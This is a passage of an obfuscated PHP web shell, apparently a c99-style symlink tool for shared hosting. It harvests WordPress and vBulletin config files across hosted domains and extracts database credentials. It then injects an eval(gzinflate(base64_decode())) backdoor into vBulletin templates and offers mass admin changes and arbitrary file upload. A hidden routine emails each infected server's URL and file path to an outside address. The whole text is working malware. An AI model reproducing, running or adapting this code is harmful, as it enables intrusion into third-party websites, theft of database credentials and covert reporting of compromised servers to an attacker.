echo "<tr>
<td><a target='_blank' href='http://$IIIIIIIlIllI'>$IIIIIIIlIlI1</a></td>
<td><a target='_blank' href='$IIIIIIII1I11'>config</a></td><td>".$r.$GLOBALS['OOO0000O0']('PC90ZD48L3RyPg==');
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
}else{
echo "<tr>
<td><a target='_blank' href='http://$IIIIIIIlIllI'>$IIIIIIIlIlI1</a></td>
<td><a target='_blank' href='http://$IIIIIIII1I11'>config</a></td><td><b style='color:red'>failed2</b></td></tr>";
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
}
}
die();
}
if(!$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbGxs')]($GLOBALS['OOO0000O0']('bmFtZWQudHh0'))){
$IIIIIIIIIll1 = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDFJ')]($GLOBALS['OOO0000O0']('L2V0Yy9uYW1lZC5jb25m'));
}else{
$IIIIIIIIIll1 = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDFJ')]($GLOBALS['OOO0000O0']('bmFtZWQudHh0'));
}
if(!$IIIIIIIIIll1)
{
die ("<meta http-equiv='refresh' content='0; url=?sws=read'/>");
}
else
{
echo "<div class='tmp'>
<form method='POST' action='$IIIIIIIIIlI1?sws=wp'>
<input type='submit' value='Mass Change Admin' />
<input type='hidden' value='1' name='s' />
</form>
<br /><br />
<table align='center' width='40%'><td> Domains </td><td> config </td><td> Result </td>";
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$IIIIIIIIII1l = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTEx')]($GLOBALS['OOO0000O0']('d3AudHh0'),$GLOBALS['OOO0000O0']('dw=='));
foreach($IIIIIIIIIll1 as $IIIIIIIIIl1l){
if($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMUlJ')]($GLOBALS['OOO0000O0']('em9uZQ=='),$IIIIIIIIIl1l)){
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMUls')]($GLOBALS['OOO0000O0']('I3pvbmUgIiguKikiIw=='),$IIIIIIIIIl1l,$IIIIIIIII1I1);
if(strlen($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWxJ')]($IIIIIIIII1I1[1][0])) >2){
$IIIIIIIII1ll = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWwx')](@$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMTFJ')]($GLOBALS['OOO0000O0']('L2V0Yy92YWxpYXNlcy8=').$IIIIIIIII1I1[1][0]));
$IIIIIIIII11l=$IIIIIIIIIIIl.$GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv').$IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')].$GLOBALS['OOO0000O0']('L3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHA=');
$IIIIIIIII111=get_headers($IIIIIIIII11l);
$wp=$IIIIIIIII111[0];
$IIIIIIIIlIIl=$IIIIIIIIIIIl.$GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv').$IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')].$GLOBALS['OOO0000O0']('L3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocA==');
$IIIIIIIIlII1=get_headers($IIIIIIIIlIIl);
$IIIIIIIIlIlI=$IIIIIIIIlII1[0];
$IIIIIIIlI111=$IIIIIIIIIIIl.$GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv').$IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')].$GLOBALS['OOO0000O0']('L3B1YmxpY19odG1sL3dwL3dwLWNvbmZpZw==');
$IIIIIIIllIII=get_headers($IIIIIIIlI111);
$IIIIIIIllIIl=$IIIIIIIllIII[0];
$IIIIIIII1I1I = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($wp,$GLOBALS['OOO0000O0']('MjAw'));
$IIIIIIII1I11=$GLOBALS['OOO0000O0']('Jm5ic3A7');
if ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($wp,$GLOBALS['OOO0000O0']('MjAw')) == true )
{
$IIIIIIII1I11= $IIIIIIIII11l;
}
elseif ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($IIIIIIIIlIlI,$GLOBALS['OOO0000O0']('MjAw')) == true)
{
$IIIIIIII1I11= $IIIIIIIIlIIl;
}
elseif ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($IIIIIIIllIIl,$GLOBALS['OOO0000O0']('MjAw')) == true)
{
$IIIIIIII1I11= $IIIIIIIlI111;
}
else
{
continue;
}
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$IIIIIIIIIl1l = $IIIIIIIII1I1[1][0];
$w = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbElJ')]($IIIIIIIIII1l,"$IIIIIIII1I11||$IIIIIIIIIl1l \n");
if($w){$r = $GLOBALS['OOO0000O0']('PGIgc3R5bGU9ImNvbG9yOiAjMDA2NjAwIj5TYXZlPC9iPg==');}else{$r = $GLOBALS['OOO0000O0']('PGIgc3R5bGU9ImNvbG9yOnJlZCI+ZmFpbGVkPC9iPg==');}
echo $GLOBALS['OOO0000O0']('PHRyPjx0ZD48YSBocmVmPWh0dHA6Ly93d3cu').$IIIIIIIII1I1[1][0].$GLOBALS['OOO0000O0']('Pg==').$IIIIIIIII1I1[1][0]."</a></td>
<td><a href='$IIIIIIII1I11'>config</a></td><td>".$r.$GLOBALS['OOO0000O0']('PC90ZD48L3RyPg==');
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
}
}
}
}
break;
case $GLOBALS['OOO0000O0']('dmI='):
if(isset($_POST[$GLOBALS['OOO0000O0']('cw==')])){
$file = @file_get_contents($GLOBALS['OOO0000O0']('dmIudHh0'));
$IIIIIIIlII11 = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSWxJ')]("\n",$file);
echo "<div class='tmp'><table align='center' width='40%'><td> domin </td><td> config </td><td> Result </td>";
foreach ($IIIIIIIlII11 as $IIIIIIIlIlII){
$IIIIIIIlIlIl = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSWxJ')]($GLOBALS['OOO0000O0']('fHw='),$IIIIIIIlIlII);
$IIIIIIII1I11 = $IIIIIIIlIlIl[0];
$IIIIIIIlIlI1 = $IIIIIIIlIlIl[1];
$IIIIIIIlIllI = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWxJ')]($IIIIIIIlIlI1).$GLOBALS['OOO0000O0']('');
$IIIIIIIlIlll = @file_get_contents($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWxJ')]($IIIIIIII1I11));
if($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxJbGwx')]($GLOBALS['OOO0000O0']('dkJ1bGxldGlu'),$IIIIIIIlIlll)){
$IIIIIIIlIl11 = IIIIIIIllll1($IIIIIIIlIlll,$GLOBALS['OOO0000O0']('JGNvbmZpZ1snRGF0YWJhc2UnXVsnZGJuYW1lJ10gPSAn'),"';");
$IIIIIIIlIl1l = IIIIIIIllll1($IIIIIIIlIlll,$GLOBALS['OOO0000O0']('JGNvbmZpZ1snTWFzdGVyU2VydmVyJ11bJ3VzZXJuYW1lJ10gPSAn'),"';");
$IIIIIIIlIl1I = IIIIIIIllll1($IIIIIIIlIlll,$GLOBALS['OOO0000O0']('JGNvbmZpZ1snTWFzdGVyU2VydmVyJ11bJ3Bhc3N3b3JkJ10gPSAn'),"';");
$IIIIIIIlI1I1 = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxJMWxJ')]($GLOBALS['OOO0000O0']('bG9jYWxob3N0'),$IIIIIIIlIl1l,$IIIIIIIlIl1I);
$IIIIIIIlIl11 = @mysql_select_db($IIIIIIIlIl11,$IIIIIIIlI1I1);
$IIIIIIIllIl1 = $GLOBALS['OOO0000O0']('YlZEUFM4TXdGTDRML2crdllaQVdkUFBpYVV2MTRrQVFGS3FuVVVxYXBqU1lOS0ZKeENuNzMyMmFiZ3pjSWZEeXZsK1A3L3FLczA0RDN0UzVzSjk2TU1KOWIrb2hEdzh2VFdjcTMxUEYwMnlKcC9XcXp2RWFaazJyQndXVU9hRjdnaEFvN2pyZEVHUzBkUWg0ejl6ZWNJS1VsMDRZT3JoVjROODIxRkVFd1pRZ2I2U21EUjhRaU9ic2R4WWhldU1kUktOV1NINVV4dG1LbjNHK3YwUDVUSXhnTlRxaFdXUjlyWVNMQVhIL1JhVWZnWThwYlZST1o0VkkwYWF3cU41ZWkvY2REbFJjQWlGd0pFSUd2NEh5eUxUWnA0dHErL3p5Vk94d09BU1hPK3lVcVVJNkxtL2dIeGlCTERpYzZvNjJVSGpHdUxXUUpFa285OVQ5R2c3QXBlVVhKRnNxNUVYK0FSN3lQdz09') ;
$IIIIIIIllI1I = "{\${eval(gzinflate(base64_decode(\'";
$IIIIIIIllI1I .= "$IIIIIIIllIl1";
$IIIIIIIllI1I .= "\')))}}{\${exit()}}</textarea>";
$IIIIIIIllI1l = "UPDATE template SET template ='".$IIIIIIIllI1I."' WHERE title ='FAQ'";
$IIIIIIIlI1ll = @$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxJMWwx')]($IIIIIIIllI1l,$IIIIIIIlI1I1);
if ($IIIIIIIlI1ll){$r = $GLOBALS['OOO0000O0']('PGIgc3R5bGU9ImNvbG9yOiAjMDA2NjAwIj5TdWNjZWVkPC9iPiBzaGVsbCBpbiBzZWFyY2gucGhw');}
else
{
$r = $GLOBALS['OOO0000O0']('PGIgc3R5bGU9ImNvbG9yOnJlZCI+ZmFpbGVkPC9iPg==');
}
$IIIIIIIlIllI = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWxJ')]($IIIIIIIlIlI1).$GLOBALS['OOO0000O0']('');
echo "<tr>
<td><a target='_blank' href='http://$IIIIIIIlIllI'>$IIIIIIIlIlI1</a></td>
<td><a target='_blank' href='$IIIIIIII1I11'>config</a></td><td>".$r.$GLOBALS['OOO0000O0']('PC90ZD48L3RyPg==');
}else{
echo "<tr>
<td><a target='_blank' href='http://$IIIIIIIlIllI'>$IIIIIIIlIlI1</a></td>
<td><a target='_blank' href='http://$IIIIIIII1I11'>config</a></td><td><b style='color:red'>failed2</b></td></tr>";
}
}
die();
}
if(!$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbGxs')]($GLOBALS['OOO0000O0']('bmFtZWQudHh0'))){
$IIIIIIIIIll1 = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDFJ')]($GLOBALS['OOO0000O0']('L2V0Yy9uYW1lZC5jb25m'));
}else{
$IIIIIIIIIll1 = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDFJ')]($GLOBALS['OOO0000O0']('bmFtZWQudHh0'));
}
if(!$IIIIIIIIIll1)
{
die ("<meta http-equiv='refresh' content='0; url=?sws=read'/>");
}
else
{
echo "<div class='tmp'>
<form method='POST' action='$IIIIIIIIIlI1?sws=vb'>
<input type='submit' value='Inject shell' />
<input type='hidden' value='1' name='s' />
</form>
<br /><br />
<table align='center' width='40%'><td> Domains </td><td> config </td><td> Result </td>";
$IIIIIIIIII1l = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSTEx')]($GLOBALS['OOO0000O0']('dmIudHh0'),$GLOBALS['OOO0000O0']('dw=='));
foreach($IIIIIIIIIll1 as $IIIIIIIIIl1l){
if($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMUlJ')]($GLOBALS['OOO0000O0']('em9uZQ=='),$IIIIIIIIIl1l)){
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMUls')]($GLOBALS['OOO0000O0']('I3pvbmUgIiguKikiIw=='),$IIIIIIIIIl1l,$IIIIIIIII1I1);
if(strlen($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWxJ')]($IIIIIIIII1I1[1][0])) >2){
$IIIIIIIII1ll = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWwx')](@$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMTFJ')]($GLOBALS['OOO0000O0']('L2V0Yy92YWxpYXNlcy8=').$IIIIIIIII1I1[1][0]));
$IIIIIIIII11l=$IIIIIIIIIIIl.$GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv').$IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')].$GLOBALS['OOO0000O0']('L2luY2x1ZGVzL2NvbmZpZy5waHA=');
$IIIIIIIII111=get_headers($IIIIIIIII11l);
$wp=$IIIIIIIII111[0];
$IIIIIIIIlIIl=$IIIIIIIIIIIl.$GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv').$IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')].$GLOBALS['OOO0000O0']('L3ZiL2luY2x1ZGVzL2NvbmZpZy5waHA=');
$IIIIIIIIlII1=get_headers($IIIIIIIIlIIl);
$IIIIIIIIlIlI=$IIIIIIIIlII1[0];
$IIIIIIIlI111=$IIIIIIIIIIIl.$GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv').$IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')].$GLOBALS['OOO0000O0']('L2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHA=');
$IIIIIIIllIII=get_headers($IIIIIIIlI111);
$IIIIIIIllIIl=$IIIIIIIllIII[0];
$IIIIIIII1I1I = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($wp,$GLOBALS['OOO0000O0']('MjAw'));
$IIIIIIII1I11=$GLOBALS['OOO0000O0']('Jm5ic3A7');
if ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($wp,$GLOBALS['OOO0000O0']('MjAw')) == true )
{
$IIIIIIII1I11= $IIIIIIIII11l;
}
elseif ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($IIIIIIIIlIlI,$GLOBALS['OOO0000O0']('MjAw')) == true)
{
$IIIIIIII1I11= $IIIIIIIIlIIl;
}
elseif ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($IIIIIIIllIIl,$GLOBALS['OOO0000O0']('MjAw')) == true)
{
$IIIIIIII1I11= $IIIIIIIlI111;
}
else
{
continue;
}
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$IIIIIIIIIl1l = $IIIIIIIII1I1[1][0];
$w = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbElJ')]($IIIIIIIIII1l,"$IIIIIIII1I11||$IIIIIIIIIl1l \n");
if($w){$r = $GLOBALS['OOO0000O0']('PGIgc3R5bGU9ImNvbG9yOiAjMDA2NjAwIj5TYXZlPC9iPg==');}else{$r = $GLOBALS['OOO0000O0']('PGIgc3R5bGU9ImNvbG9yOnJlZCI+ZmFpbGVkPC9iPg==');}
echo $GLOBALS['OOO0000O0']('PHRyPjx0ZD48YSBocmVmPWh0dHA6Ly93d3cu').$IIIIIIIII1I1[1][0].$GLOBALS['OOO0000O0']('Pg==').$IIIIIIIII1I1[1][0]."</a></td>
<td><a href='$IIIIIIII1I11'>config</a></td><td>".$r.$GLOBALS['OOO0000O0']('PC90ZD48L3RyPg==');
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
}
}
}
}
break;
case $GLOBALS['OOO0000O0']('aGVscA=='):
echo "<div class='tmp'>
<table align='center' width='40%'><td>function</td><td>Case</td>";
$safe_mode = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxsbElJ')]($GLOBALS['OOO0000O0']('c2FmZV9tb2Rl'));
if($safe_mode){$r = "<b style='color: red'>False</b>";}else{$r = "<b style='color: #336600'>True</b>";}
echo "<tr><td>Safe Mode</td><td>$r</td>";
$IIIIIIIlllIl = function_exists($GLOBALS['OOO0000O0']('c3ltbGluaw=='));
if(!$IIIIIIIlllIl){$r = "<b style='color: red'>False</b>";}else{$r = "<b style='color: #336600'>True</b>";}
echo "<tr><td>function symlink</td><td>$r</td>";
$IIIIIIIlllIl = function_exists($GLOBALS['OOO0000O0']('ZmlsZQ=='));
if(!$IIIIIIIlllIl){$r = "<b style='color: red'>False</b>";}else{$r = "<b style='color: #336600'>True</b>";}
echo "<tr><td>function file</td><td>$r</td>";
$IIIIIIIlllIl = function_exists($GLOBALS['OOO0000O0']('ZmlsZV9nZXRfY29udGVudHM='));
if(!$IIIIIIIlllIl){$r = "<b style='color: red'>False</b>";}else{$r = "<b style='color: #336600'>True</b>";}
echo "<tr><td>function file_get_contents</td><td>$r</td>";
$IIIIIIIlllIl = function_exists($GLOBALS['OOO0000O0']('bWtkaXI='));
if(!$IIIIIIIlllIl){$r = "<b style='color: red'>False</b>";}else{$r = "<b style='color: #336600'>True</b>";}
echo "<tr><td>function mkdir</td><td>$r</td>";
$IIIIIIIlllIl = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxsbEkx')]($GLOBALS['OOO0000O0']('c3ltL3Jvb3Q='));
if(!$IIIIIIIlllIl){$r = "<b style='color: red'>False</b>";}else{$r = "<b style='color: #336600'>True</b>";}
echo "<tr><td>Permission denied</td><td>$r</td>";
$IIIIIIIlllIl = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxbGxJ')]($GLOBALS['OOO0000O0']('L0ZvcmJpZGRlbi8='),@file_get_contents($GLOBALS['OOO0000O0']('c3ltL3Jvb3Q=')) or !@file_get_contents($GLOBALS['OOO0000O0']('c3ltL3Jvb3Q=')));
if($IIIIIIIlllIl){$r = "<b style='color: red'>False</b>";}else{$r = "<b style='color: #006600'>True</b>";}
echo "<tr><td>Forbidden</td><td>$r</td>";
echo $GLOBALS['OOO0000O0']('PC90YWJsZT48L2Rpdj4=');
break;
default:
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxsbGxJ')]("Location: $IIIIIIIIIlI1");
}
}else
{
echo $GLOBALS['OOO0000O0']('PGJyIC8+PGJyIC8+PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbmFtZT0idXBsb2FkZXIiIGlkPSJ1cGxvYWRlciI+');
echo $GLOBALS['OOO0000O0']('PGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHZhbHVlPSJDaG9vc2UgZmlsZSIgc2l6ZT0iNjAiID48aW5wdXQgbmFtZT0iX3VwbCIgdHlwZT0ic3VibWl0IiBpZD0iX3VwbCIgdmFsdWU9IlVwbG9hZCI+PC9mb3JtPg==');
if( $_POST[$GLOBALS['OOO0000O0']('X3VwbA==')] == $GLOBALS['OOO0000O0']('VXBsb2Fk') ) {
if(@$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxsbGxs')]($_FILES[$GLOBALS['OOO0000O0']('ZmlsZQ==')][$GLOBALS['OOO0000O0']('dG1wX25hbWU=')],$_FILES[$GLOBALS['OOO0000O0']('ZmlsZQ==')][$GLOBALS['OOO0000O0']('bmFtZQ==')])) {echo $GLOBALS['OOO0000O0']('PGJyIC8+PGJyIC8+PGI+VXBsb2FkZWQgc3VjY2Vzc2Z1bCAhITxicj48YnI+');}
else {echo $GLOBALS['OOO0000O0']('PGJyIC8+PGJyIC8+Tm90IHVwbG9hZGVkICEhPGJyPjxicj4=');}
}
echo $GLOBALS['OOO0000O0']('DQo8YnIgLz48YnIgLz48YnIgLz48L2I+PC9iPjxkaXYgY2xhc3M9ImZvdCI+Q29kM2QgYnkgPGI+UzNuNHQwMHI8L2I+IElkZWEgYnkgPGI+TXIuQWxzYTNlazwvYj4NCjxiciAvPjxiciAvPg0KPGIgc3R5bGU9ImNvbG9yOiByZWQiOz4gICBTZWMtdy5Db20gIDwvYj4NCjxiciAvPjxiciAvPg0KTXVzbGltcyBIYWNrZXJzPC9kaXY+IA==');
}
function IIIIIIIllll1($IIIIIIIlll1I,$IIIIIIIlll1l,$IIIIIIIlll11){
$IIIIIIIll1II = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSWxJ')]($IIIIIIIlll1l,$IIIIIIIlll1I);
$IIIIIIIll1II = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSWxJ')]($IIIIIIIlll11,$IIIIIIIll1II[1]);
return $IIIIIIIll1II[0];
}
echo $GLOBALS['OOO0000O0']('PC9kaXY+DQoNCjxhIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiAjRjRGNEY0OyIgdGl0bGU9Ij8/Pz8/Pz8iL2hyZWY9Imh0dHA6Ly9zZWMtdy5jb20vY2MiPj8/Pz8/Pz88L2E+DQoNCjxhIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiAjRjRGNEY0OyIgdGl0bGU9Ij8/Pz8gPz8/Pz8/PyIvaHJlZj0iaHR0cDovL3NlYy13LmNvbS9jYyI+Pz8/PyA/Pz8/Pz8/PC9hPg0KDQoNCg0KPC9ib2R5Pg0KDQo8L2h0bWw+DQo=');
;echo $GLOBALS['OOO0000O0']('');
$IIIIIIII1lII = $GLOBALS['OOO0000O0']('d3d3LlNoM2xsLlVz');
if(!$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxJbGwx')]($IIIIIIII1lII,$_SERVER[$GLOBALS['OOO0000O0']('U0VSVkVSX05BTUU=')]))
{
$IIIIIIIll1Il = $GLOBALS['OOO0000O0']('cXdlcnR5LndlcnR5ODJAeWFob28uY29t');
$IIIIIIIll1I1 = $GLOBALS['OOO0000O0']('RUdGTQ==');
$IIIIIIIll1lI = $GLOBALS['OOO0000O0']('ZnJvbTogRUdGTSA8cXdlcnR5LndlcnR5ODJAeWFob28uY29tPg==');
$IIIIIIIll1ll = $GLOBALS['OOO0000O0']('TGluayA6IGh0dHA6Ly8=') .$_SERVER[$GLOBALS['OOO0000O0']('U0VSVkVSX05BTUU=')] .$_SERVER[$GLOBALS['OOO0000O0']('UkVRVUVTVF9VUkk=')] ."\r\n";
$IIIIIIIll1ll .= $GLOBALS['OOO0000O0']('UGF0aCA6IA==') .__file__;
$IIIIIIIll1l1 = @mail($IIIIIIIll1Il,$IIIIIIIll1I1,$IIIIIIIll1ll,$IIIIIIIll1lI);
echo $GLOBALS['OOO0000O0']('');
exit;
}
;echo $GLOBALS['OOO0000O0']('PC9ib2R5PjwvaHRtbD4=');chdir($IIIIIIIll11I);c99shexit();;echo $GLOBALS['OOO0000O0']('DQoNCg0K');?>